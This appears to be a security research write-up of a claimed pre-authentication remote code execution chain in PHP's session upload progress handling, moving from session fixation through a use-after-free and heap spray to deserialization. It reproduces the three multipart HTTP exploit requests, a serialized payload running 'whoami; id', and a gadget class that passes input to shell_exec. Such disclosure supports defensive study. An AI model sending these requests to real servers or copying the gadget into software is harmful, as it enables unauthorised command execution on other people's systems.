0x5t


PHP2Shell: Turning upload progress into pre-auth RCE

ResearchCVE-2026-109618Discovered by @lcfr_hax

TLDR; CVE-2026-109618, discovered by @lcfr_hax, is a use-after-free in PHP's default upload progress tracking. Every default PHP installation ships with session.upload_progress.enabled = 1. When PHP parses a multipart upload, the session upload progress handler runs before the session extension initializes. Triggering an OOM during parsing leaves a dangling pointer (PS(id)) to freed heap memory. A subsequent request sprays the heap to reclaim that memory, redirecting the stale pointer to an attacker-controlled session file. PHP deserializes its contents, instantiates a gadget object, and __destruct() fires at request shutdown — pre-auth RCE in three HTTP requests. This post is a deep technical analysis of why the chain works.

Vulnerability Chain: Session Fixation → OOM Use-After-Free → Heap Spray → Session Deserialization → RCE

The chain at a glance

The exploit is three sequential HTTP POST requests:

  1. Session fixation. A multipart POST with a PHP_SESSION_UPLOAD_PROGRESS field and a PHPSESSID cookie creates a session file on the server. The attacker controls the session ID and writes a serialized PHP object containing a shell command into the session data.
  2. OOM → stale pointer. A second POST sends a multipart body larger than memory_limit. PHP hits a fatal error. The longjmp() recovery skips cleanup, and the internal session pointer PS(id) is left dangling — still pointing at freed heap memory.
  3. UAF → deserialization → RCE. A third POST sprays 250 short form fields into the same heap bin that PS(id) once occupied. Upload progress cleanup dereferences the stale pointer, opens the attacker's session file, and unserializes its contents. The gadget object's __destruct() fires during request shutdown and executes the embedded command.

Before your script runs

PHP's request lifecycle is not "parse the request, run the script." It is more like this:

  1. sapi_activate() — the web server hands the request to PHP
  2. rfc1867_post_handler() — multipart form data is parsed, upload progress callbacks fire
  3. php_request_startup() — internal modules initialize
  4. zend_activate_modules() — each extension's RINIT runs (including the session extension)
  5. The PHP script executes

The critical detail: step 2 happens before step 4. The multipart parser — including upload progress tracking — runs before the session extension has had a chance to initialize for this request. The session extension's RINIT would normally reset PS(id) to a clean state. But by the time it runs, the upload progress callbacks have already used PS(id) to open and write a session file.

This is a design decision: upload progress needs session access during parsing, so it reaches into the session subsystem before the session subsystem has formally started. The vulnerability arises when this early access is combined with an error recovery path that does not know about it.

The concrete evidence from PHP source (main/main.c): sapi_activate() is called at line 1855, and zend_activate_modules() at line 1892 — the multipart parser finishes before any extension's RINIT fires.

Phase 0: Session fixation via upload progress

The first request establishes the session file:

POST /index.php HTTP/1.1
Host: target.example.com
Cookie: PHPSESSID=AAAAAAAAAAAAAAAA
Content-Type: multipart/form-data; boundary=abc123

--abc123
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

inject
--abc123
Content-Disposition: form-data; name="file"; filename="x.bin"
Content-Type: application/octet-stream

AAAA
--abc123--

When PHP sees a field named PHP_SESSION_UPLOAD_PROGRESS in the multipart body, it calls the session upload progress handler. In the FILE_START callback inside ext/session/session.c, it:

  1. Takes the PHPSESSID value from the cookie — AAAAAAAAAAAAAAAA
  2. Sets PS(id) to that value (line 3308: PS(id) = zend_string_copy(Z_STR(progress->sid)))
  3. Opens or creates the session file at /tmp/sess_AAAAAAAAAAAAAAAA
  4. Writes the upload progress tracking metadata into it

The session file now exists on disk. The upload progress data PHP wrote is the tracking metadata (upload_progress_inject|a:5:{...}). The exploit payload needs to be in this file for Phase 2 — either via a session write primitive on another endpoint, or injected directly in the PoC environment. The session fixation primitive (controlling which file gets opened) is what this CVE provides.

The session file uses PHP's native serialization format: key|serialized_value. For example: rce|O:12:"CacheHandler":1:{s:3:"cmd";s:10:"whoami; id";}

Phase 1: The memory trap

The second request triggers an out-of-memory fatal error during multipart parsing:

POST /index.php HTTP/1.1
Host: target.example.com
Cookie: PHPSESSID=AAAAAAAAAAAAAAAA
Content-Type: multipart/form-data; boundary=xyz789

--xyz789
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

oom
--xyz789
Content-Disposition: form-data; name="file"; filename="x.bin"
Content-Type: application/octet-stream

(empty)
--xyz789
Content-Disposition: form-data; name="pad"

XXXXXXXXX... (3 MB of padding)
--xyz789--

When the allocator tries to store the 3 MB pad field and the allocation exceeds memory_limit, PHP raises a fatal error.

Why PS(id) survives the crash

PHP's fatal error recovery uses longjmp() to unwind the stack. Unlike C++ exceptions, longjmp() does not call destructors or run cleanup handlers. It teleports the instruction pointer back to the setjmp() point and continues from there.

The sequence inside Zend/zend_alloc.c:

  1. Allocation request exceeds memory_limit
  2. zend_mm_safe_error() is called
  3. A fatal error is raised via zend_error_noreturn()
  4. longjmp() fires, unwinding all frames
  5. The Zend memory manager resets the heap for the next request

But PS(id) — the pointer stored in the session module's global state — was set during the upload progress FILE_START callback in step 2 of the request lifecycle. It pointed to a zend_string allocated on the Zend heap. When the heap is reset in step 5, that memory is returned to the free list. PS(id) still holds the old address.

Why doesn't the session extension clean this up? Because PG(modules_activated) is still 0. The session extension's RINIT never ran — the OOM happened during multipart parsing, which runs before module activation. And the session extension's RSHUTDOWN checks PG(modules_activated) before doing cleanup. Since it was never activated, it skips shutdown too. PS(id) is orphaned.

This is the same worker process in Apache prefork. The stale PS(id) pointer persists into the next request.

Heap geography: the 48-byte bin

Zend's memory manager uses a slab allocator with fixed bin sizes:

BinSize (bytes)Objects per page
08512
116256
224170
332128
440102
54885
65673
76464

A zend_string has this structure:

struct _zend_string {
    zend_refcounted_h gc;  // 8 bytes (refcount + type info)
    zend_ulong        h;   // 8 bytes (hash)
    size_t           len;  // 8 bytes (length)
    char             val[1]; // inline string data
}; // 24 bytes header + string content + NUL

A 16-character session ID like AAAAAAAAAAAAAAAA occupies 24 + 16 + 1 = 41 bytes. The allocator rounds up to the next bin: 48 bytes. This is the bin we need to spray.

Phase 2: Consuming the dangling pointer

The third request places a controlled zend_string at the exact address where PS(id) used to point:

POST /index.php HTTP/1.1
Host: target.example.com
Cookie: PHPSESSID=probe_session
Content-Type: multipart/form-data; boundary=spray999

--spray999
Content-Disposition: form-data; name="s000"

SP000AAAAAAAAAAA
--spray999
Content-Disposition: form-data; name="s001"

SP001AAAAAAAAAAA
...
(250 fields, each with a 16-byte value)
...
--spray999
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

consume
--spray999--

Each of the 250 form field values is a 16-character string. PHP allocates a zend_string for each: 41 bytes, rounded to the 48-byte bin. After 250 allocations, the recycled pages from the previous request's heap are densely populated with attacker-controlled strings.

When the upload progress handler fires for the PHP_SESSION_UPLOAD_PROGRESS field, it follows PS(id) to what it thinks is a session ID. But that memory now contains one of the sprayed strings. The handler uses this string as the session filename, opening /tmp/sess_<sprayed-value>.

If the attacker has placed a session file at a predictable name (or sprayed values matching a known session file), the handler opens it and php_session_decode() deserializes its contents. Any PHP objects in the session data are instantiated in memory.

From deserialization to code execution

Deserialization alone is not code execution. For the chain to land, a class must exist in memory whose __destruct() or __wakeup() method performs a dangerous operation. This is where OPcache preloading enters.

PHP's OPcache has an opcache.preload directive that loads classes and functions into shared memory at server start. These persist across all requests in a mod_php prefork worker. Preloaded classes are in the class table during multipart parsing — before the script runs, before autoloading fires, before any application code executes.

A real-world CMS or framework using OPcache preloading (WordPress, Laravel, Drupal, Symfony) will have hundreds or thousands of classes resident. Finding one with a dangerous __destruct() is a gadget-hunting exercise identical to what PHPGGC already catalogs.

For the PoC, a minimal gadget class is preloaded:

class CacheHandler {
    public $cmd;
    public function __destruct() {
        if ($this->cmd) {
            file_put_contents('/tmp/rce-proof.txt',
                shell_exec($this->cmd . ' 2>&1'));
        }
    }
}

When php_session_decode() encounters O:12:"CacheHandler":1:{s:3:"cmd";s:10:"whoami; id";}, it instantiates a CacheHandler object with $cmd = "whoami; id". At request shutdown, shutdown_destructors() in Zend/zend_objects_API.c iterates the object store and calls __destruct() on every object. The command executes.

The PoC: three requests, no brute force

PhaseRequestPurposeSide effect
0Multipart with PHP_SESSION_UPLOAD_PROGRESSCreate session file with attacker payloadSession file on disk
1Multipart with 3 MB paddingOOM fatal error during parsingPS(id) left dangling
2Multipart with 250 × 16-byte fieldsHeap spray + trigger upload progressDeserialization → __destruct → RCE

No timing races. No ASLR brute force. No repeated requests. The spray is deterministic because the Zend heap was just reset by the OOM and the 48-byte bin is populated in order.

Dead ends

An obvious first approach would be a cookie-based session ID leak. The theory: if the upload progress handler sets PS(id) and then PHP sends a Set-Cookie header with the session ID, the response would leak whatever value PS(id) points to after the UAF — an information disclosure primitive.

This does not work. The FILE_START callback in ext/session/session.c explicitly sets PS(send_cookie) = false (line 3314). The session ID is never emitted as a cookie during upload progress tracking. This is a deliberate design choice: upload progress sessions should not inject new cookies into the response.

The pivot to session-file-based deserialization was the breakthrough. Instead of leaking a pointer value, the exploit controls what the pointer resolves to by spraying the heap, and chains that into deserialization of attacker-controlled session data.

References